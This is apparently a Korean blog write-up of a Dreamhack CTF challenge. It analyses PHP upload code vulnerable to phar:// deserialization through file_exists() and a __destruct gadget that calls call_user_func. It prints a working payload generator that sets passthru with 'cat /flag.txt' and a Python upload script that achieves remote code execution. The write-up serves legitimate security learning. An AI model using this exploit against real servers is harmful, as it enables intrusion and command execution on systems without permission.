pharmacy

mercure·2024년 10월 7일
0

Dreamhack

목록 보기
6/18


사이트 접속시 파일 업로드 취약점을 활용하는 것으로 추측된다.

코드분석

index.php

<?php
require("supermarket.php");
?>

<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" type="text/css" href="style.css">
    <title>Pharmacy</title>
</head>
<body>
    <h1>Pharmacy💊</h1>
    <h2>Upload your prescription in gif format...</h2>
    <form action="index.php" method="post" enctype="multipart/form-data" class="file-upload-form">
        <input type="file" name="fileToUpload" id="fileToUpload" class="file-upload-input">
        <input type="submit" value="upload" name="submit" class="file-upload-button">
    </form>
    <br>

<?php
$targetDirectory = "uploads/";
$uploadOK = 1;

if( isset($_POST["submit"])) {
    // 업로드 상태 메시지를 출력할 <pre> 태그 시작
    echo '<pre class="file-upload-form">';
    
    // 업로드된 파일의 임시 경로와 원래 이름을 가져옴
    $tmpFile = $_FILES["fileToUpload"]["tmp_name"];
    $currentFile = $_FILES["fileToUpload"]["name"];
    // 파일 확장자를 소문자로 추출
    $fileExtension = strtolower(pathinfo($currentFile, PATHINFO_EXTENSION));

    // 파일의 MIME 타입이 'image/gif'이고 확장자가 'gif'인지 확인
    if (mime_content_type($tmpFile) !== "image/gif" || $fileExtension !== "gif") {
        echo "Prescription not gif!\n"; // GIF 형식이 아닐 경우 메시지 출력
        $uploadOK = 0; // 업로드 실패 상태로 설정
    }

    // 업로드 상태에 따라 처리
    if ($uploadOK == 0) {
        echo "Prescription upload failed.\n"; // 업로드 실패 메시지 출력
    } else {
        // 16바이트의 랜덤 바이트를 16진수로 변환하여 파일 이름 생성
        $randomFileName = bin2hex(random_bytes(16));
        // 타겟 파일 경로 설정
        $targetFile = $targetDirectory . $randomFileName . "." . $fileExtension;
        
        // 업로드된 파일을 타겟 경로로 이동
        if (move_uploaded_file($tmpFile, $targetFile)) {
            // POST 데이터에 'emergent'가 설정되어 있으면 'phar://' 스킴을 추가
            if (isset($_POST['emergent']))
                $targetFile = 'phar://' . $targetFile;
            else
                $targetFile = $targetFile;

            // 파일이 존재하는지 확인
            if (file_exists($targetFile)) {
                echo "Prescription submitted!\n"; // 업로드 성공 메시지 출력
            }
        } else {
            echo "Prescription upload failed.\n"; // 파일 이동 실패 메시지 출력
        }
    }
    // <pre> 태그 닫기
    echo '</pre>';
}
?>
</body>
</html>

supermarket.php

<?php
function goodbye($customer) {
    echo "Good bye, $customer!\n";
}

class Supermarket {
    public $greet = 'goodbye';
    public $customer = 'dream';
    // 객체가 소멸될 때 호출되는 소멸자 메서드
    function __destruct() {
    	// call_user_func() 함수를 사용해 greet 변수에 저장된 함수(goodbye)를 호출
        // customer 변수에 저장된 고객 이름을 함수에 전달
        call_user_func($this->greet, $this->customer);
    }

}
?>
  • 파일 업로드시 MIME타입 image/gif , 확장자 gif 체크
  • uploads/ 경로 Forbidden
  • image/gif , 확장자 gif 통과시 아래와 같은 검사가 존재한다
 // POST 데이터에 'emergent'가 설정되어 있으면 'phar://' 스킴을 추가
            if (isset($_POST['emergent']))
                $targetFile = 'phar://' . $targetFile;
            else
                $targetFile = $targetFile;

phar:// 가 존재해서 url 스킴형식과 비슷하여 공부해보았다.

아래 티스토리에 자세히 설명이 되어있어서 그대로 가져왔다.

https://hacksms.tistory.com/15

phar://

Phar는 Stub, Manifest, File Contents, Signature(Optional) 총 4개의 구조로 이뤄지며, Signature을 제외한 나머지 구조에 대한 설명은 다음과 같다

  • Stub
    \<?php __HALT_COMPILER(); ?>가 존재해야만 Phar 파일로 인식
  • Manifest
    Phar 파일의 Meta-Data가 포함되어 있으며, 모든 직렬화 된 객체가 포함될 수 있습니다. 해당 구조에서 역직렬화 취약점이 발생
  • File Contents
    Phar 내 데이터 영역

직렬화 된 Meta-Data는 Phar:// Stream Wrapper에 의해 처음 액세스될 때 역직렬화 되며, __destruct, __wakeup 메소드를 통해 역직렬화 취약점이 발생할 수 있다

phar:// , __destruct 가 존재하기 떄문에 비슷한 취약점이 있을것으로 추측할 수 있다.

이를 찾아본 결과 PHP 의 Phar 파일을 이용한 객체 역직렬화 취약점이 존재하는 것을 확인할 수 있었다.

https://book.hacktricks.xyz/kr/pentesting-web/file-inclusion/phar-deserialization

index.php (일부)

 // 업로드된 파일을 타겟 경로로 이동
        if (move_uploaded_file($tmpFile, $targetFile)) {
            // POST 데이터에 'emergent'가 설정되어 있으면 'phar://' 스킴을 추가
            if (isset($_POST['emergent']))
                $targetFile = 'phar://' . $targetFile;
            else
                $targetFile = $targetFile;

            // 파일이 존재하는지 확인
            if (file_exists($targetFile)) {
                echo "Prescription submitted!\n"; // 업로드 성공 메시지 출력
            }
        }

여기서 file_exists(phar://.targetFile)이 실행된다면 역직렬화가 된다.
이외에도 아래 함수들은 역직렬화가 되는 함수들이다.

file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()

class Supermarket {
    public $greet = 'goodbye';
    public $customer = 'dream';
    // 객체가 소멸될 때 호출되는 소멸자 메서드
    function __destruct() {
    	// call_user_func() 함수를 사용해 greet 변수에 저장된 함수(goodbye)를 호출
        // customer 변수에 저장된 고객 이름을 함수에 전달
        call_user_func($this->greet, $this->customer);
    }

}

PHP 함수

mixed call_user_func(callable $function, mixed ...$args)

  • function과 args 를 전달하면 함수를 실행

위의 함수는 class supermarket 가 소멸될때 호출된다.

즉 client가 만약 악성코드를 function과 args로 전달할 수 있다면 악성코드가 실행되는 취약점이 존재하게 되는 것이다.

그럼 정리하자면

  1. image/gif인 phar 파일을 만든다(passthru, cat /flag.txt를 인자로 넣음)
  2. gif으로 확장자를 수정
  3. 업로드시 file_exists(phar://.targetFile)에 의해 역직렬화가 발생해서 __destruct에 의한 call_user_func(callable $function, mixed ...$args)실행(rce 공격)

payload

그럼 payload를 만들어 보면 다음과 같다.

<?php
class Supermarket {
    public $greet = 'goodbye';
    public $customer = 'dream';
    function __destruct() {
        call_user_func($this->greet, $this->customer);
    }
}

$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');

$object = new Supermarket();
$object->greet = "passthru";
$object->customer = "cat /flag.txt";

$phar->setMetadata($object);
$phar->stopBuffering();
?>
  1. php -d phar.readonly=0 payload_gen.php

MIME image/gif인 test.phar파일생성 이 phar파일은 내부에서 역직렬화 되어 supermarket클래스를 재정의하는데 __destruct가 실행되어 악성 args들을 넘겨줄 수 있다. 악성 args는 passthru 함수 cat /flag.txt 이다.

passthru함수는 외부 명령을 실행하고 출력을 브라우저 또는 출력 버퍼에 직접 표시할 수 있는 PHP의 내장 함수

  1. mv test.phar test.gif

test.phar 파일 확장자를 gif으로 변경

poc.py

import requests

url = 'http://host3.dreamhack.games:11852'

data = {
    'submit': 1,
    'emergent': 1,
}

with open('test.gif', 'rb') as f:
    r = requests.post(url, files={'fileToUpload': f}, data=data)

print(r.text)

emergent 값을 설정하여 phar:// 스킴을 추가하면 file_exists에 의해 역직렬화가 되어 악성코드가 실행된다.

  1. python3 poc.py

phar 역직렬화까진 이해했으나 phar 파일이 어디서 실행되는지 궁금했는데 file_exists() 에서 실행되는것을 이해하는데 오래걸렸다. 다만 위 취약점은 php8.0 이상부터는 불가능하다.

profile
하루에 한걸음씩

0개의 댓글

관련 채용 정보